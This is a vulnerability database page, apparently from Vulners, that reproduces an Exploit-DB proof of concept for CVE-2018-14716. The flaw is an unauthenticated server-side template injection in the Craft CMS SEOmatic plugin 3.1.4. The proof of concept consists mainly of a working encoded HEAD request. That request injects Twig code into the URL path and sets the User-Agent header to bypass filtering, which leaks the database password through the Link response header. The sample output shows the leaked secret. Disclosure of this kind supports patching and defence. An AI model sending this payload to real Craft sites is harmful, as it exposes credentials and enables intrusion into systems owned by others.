Lucene search
K

Craft CMS SEOmatic plugin 3.1.4 - Server-Side Template Injection

🗓️ 31 Jul 2018 00:00:00Reported by 0xB455Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 90 Views

Craft CMS SEOmatic plugin 3.1.4 - Server-Side Template Injection, allows unauthenticated code executio

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2018-14716
31 Jul 201813:56
circl
CVE
CVE-2018-14716
6 Aug 201820:00
cve
Cvelist
CVE-2018-14716
6 Aug 201820:00
cvelist
exploitpack
Craft CMS SEOmatic plugin 3.1.4 - Server-Side Template Injection
31 Jul 201800:00
exploitpack
Github Security Blog
SEOmatic plugin for Craft CMS SSTI Vulnerability
13 May 202201:19
github
NVD
CVE-2018-14716
6 Aug 201820:29
nvd
OSV
GHSA-6J9M-RP7M-3GFG SEOmatic plugin for Craft CMS SSTI Vulnerability
13 May 202201:19
osv
Prion
Code injection
6 Aug 201820:29
prion
Veracode
Server Side Template Injection (SSTI)
7 Aug 201808:13
veracode
# Exploit Title: Craft CMS SEOmatic plugin 3.1.4 - Server-Side Template Injection
# Date: 2018-07-20
# Software Link: https://github.com/nystudio107/craft-seomatic
# Exploit Author: Sebastian Kriesten (0xB455)
# Contact: https://twitter.com/0xB455
# CVE: CVE-2018-14716
# Category: webapps

# 1. Description
# An unauthenticated user can trigger the Twig template engine by injecting 
# code into the URI as described in this article:

# http://ha.cker.info/exploitation-of-server-side-template-injection-with-craft-cms-plguin-seomatic/
# This can be leveraged to perform arbitrary calls against the template engine and the CMS.
# The output will be reflected within the Link header of the response.

# 2. Proof of Concept
# The injection can be performed against any part of the URL path. However as the framework is replacing 
# control characters with HTML entities (e.g. ' ==> ') it is not possible to directly address methods with
# parameter values. Therefor it is required to bypass the filter by invoking functions such as craft.request.getUserAgent()
# and store the parameter values in the User-Agent header. In combination with Twig's slice() filter it is then possible
# to extract sensitive information by utilizing the craft.config.get() method:

# Request:
HEAD /db-password:%20%7b%25%20set%20dummy%20=%20craft.request.getUserAgent()|slice(0,8)%25%7d%7b%25%20set%20dummy2%20=%20craft.request.getUserAgent()|slice(9,2)%25%7d%7b%7bcraft.config.get(dummy,dummy2)%7d%7d HTTP/1.1
Host: craft-installation
User-Agent: password db

# Response:
HTTP/1.1 404 Not Found
Server: nginx
…

Link: <db-password: SECRET>; rel='canonical'
…

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Jul 2018 00:00Current
7.6High risk
Vulners AI Score7.6
CVSS 25
CVSS 3.17.5
EPSS0.60612
90